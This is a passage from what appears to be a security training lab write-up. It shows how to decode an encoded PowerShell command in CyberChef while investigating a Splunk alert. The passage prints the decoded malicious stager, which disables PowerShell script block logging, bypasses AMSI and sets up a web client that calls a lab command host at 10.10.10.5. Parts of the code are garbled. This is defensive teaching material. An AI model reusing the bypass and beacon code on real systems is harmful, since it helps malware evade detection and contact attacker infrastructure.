 AZQBzAFQAXQA6ADoARABlAGYAQQBVAEwAdABXAGUAQgBQAFIAbwBYAFkAOwAkADcAYQA2AEUARAuAFAAUgBPAFgAWQAuAEMAUGBIAQGQARQBuaHQASQBBAGwAUwAgAD
 0AIAbbAFMAWQBzAFQARQBNAc4ATgBFAHQALgBDAFIAZQBKAeUAbgBUAEkAYQBMAEMAYQBjAGgARQBdADoAOgBEAEUARgBhAFUAbAB0AE4ARQBUAHcAbwBSAEsAQwByAEU
 AZABIAE4AdABJAEETABTADsAJABTAGMAcgBpAHAAdAA6FAACgBvAHgAeQAgaAD0AIAAkADcAYQA2AGUAZAAuAFAAcBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABIAE0ALgBU
 AGUAWABUAC4ARQBuaEMAAbwBEAEkAbgBnAF0AOgA6AEEAUwBDAEKASQAuAEcAZQBUAeIAeQBUAAGUaUwAoACcAcQBtAC4AQAApADUAeQA

Q9: An encoded PowerShell script from the infected host initiated a web request. What is the full URL?

Continue investigate with CyberChef

- Select From Base64
- Select Decode text -> UTF-16LE(1200)

[illegible]

We are choosing to decode from Base64 with a **UTF-16LE** encoding because the output you're getting is **readable text**. If you had used a different decoding method or encoding, the output would likely be gibberish or unreadable.

1. Why From Base64

Many malicious PowerShell scripts are **Base64 encoded** to evade detection.

When you see a huge block of A–Z, a–z, 0–9, +, /, and =, that's the Base64 alphabet.

Step 1 is to convert that back to its raw byte stream.

2. Why Decode text → UTF-16LE (1200)

Windows PowerShell **encodes its Base64 commands in UTF-16LE** (a.k.a. “Unicode” on Windows).

That's because PowerShell internally represents strings as UTF-16.

So when attackers run something like:

```
powershell.exe -EncodedCommand <base64string>
```

That <base64string> is the Base64 version of the **UTF-16LE encoded script**.

If you only stop at Base64, the output still looks like gibberish bytes.

When you apply **UTF-16LE decode**, you convert those bytes into readable **PowerShell text** (what you see in your Output window).

In short:

From Base64 → turns the encoded blob back into raw bytes.

Q9: An encoded PowerShell script from the infected host initiated a web request. What is the full URL?

Continue investigate with CyberChef

➤ aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==

[illegible]

```
IF($PSVersionTable.PSVersion.Major -Ge
3){$11BD8=[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFileId"('cachedGroupPolicySettings','N'+
onPublic,Static');IF($11BD8){$A18E1=$11BD8.GetValue($null);If($A18e1['ScriptB'+lockLogging']){$A18e1['ScriptB'+lockLog
ging']['EnableScriptB'+lockLogging']=0;$a18e1['ScriptB'+lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[Colle
ctions.Generic.Dictionary[String,System.Object]]::new();$vAL.Add('EnableScriptB'+lockLogging',0);$vAL.Add('EnableScr
iptBlockInvocationLogging',0);$a18e1['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+
lockLogging']=$vAL}Else{[ScriptBlock]."GetFileId"('signatures','N'+onPublic,Static').SetValue($null,(New-Object
Collections.Generic.HashSet[String]))}$Ref=[Ref].Assembly.GetType('System.Management.Automation.Amsi'+Utils);$R
ef.GetFileId('amsiInitF'+ailed',NonPublic,Static').SetValue($null,$true)};[System.Net.ServicePointManager]::Expect10
0Continue=0;$7a6eD=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like
Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcaa6AC8ALwAxADAALgAx
ADAALgAxADAALgA1AA==')));$t='/news.php';$7A6Ed.Headers.Add('User-
Agent',$u);$7a6Ed.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$7a6ED.PROXY.Credentials =
[System.Net.Credentials]::DefaultNetworkCredentials;$Script:Proxy =
$7a6ed.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('qm.@)5y
```

Q9: An encoded PowerShell script from the infected host initiated a web request. What is the full URL?

Re Decode the Base64 hash

➤ aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Decode text

Encoding
UTF-16LE (1200)

Input

aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==

Output

http://10.10.10.5

Learning Objectives

- Able to investigate a Splunk notable
- Able to check the source, destination IP by using OSINT tools
- Able to use OSINT tools (CyberChef, Virus total, etc.)

APOGEE

For more information visit:

www.ApogeeUSA.com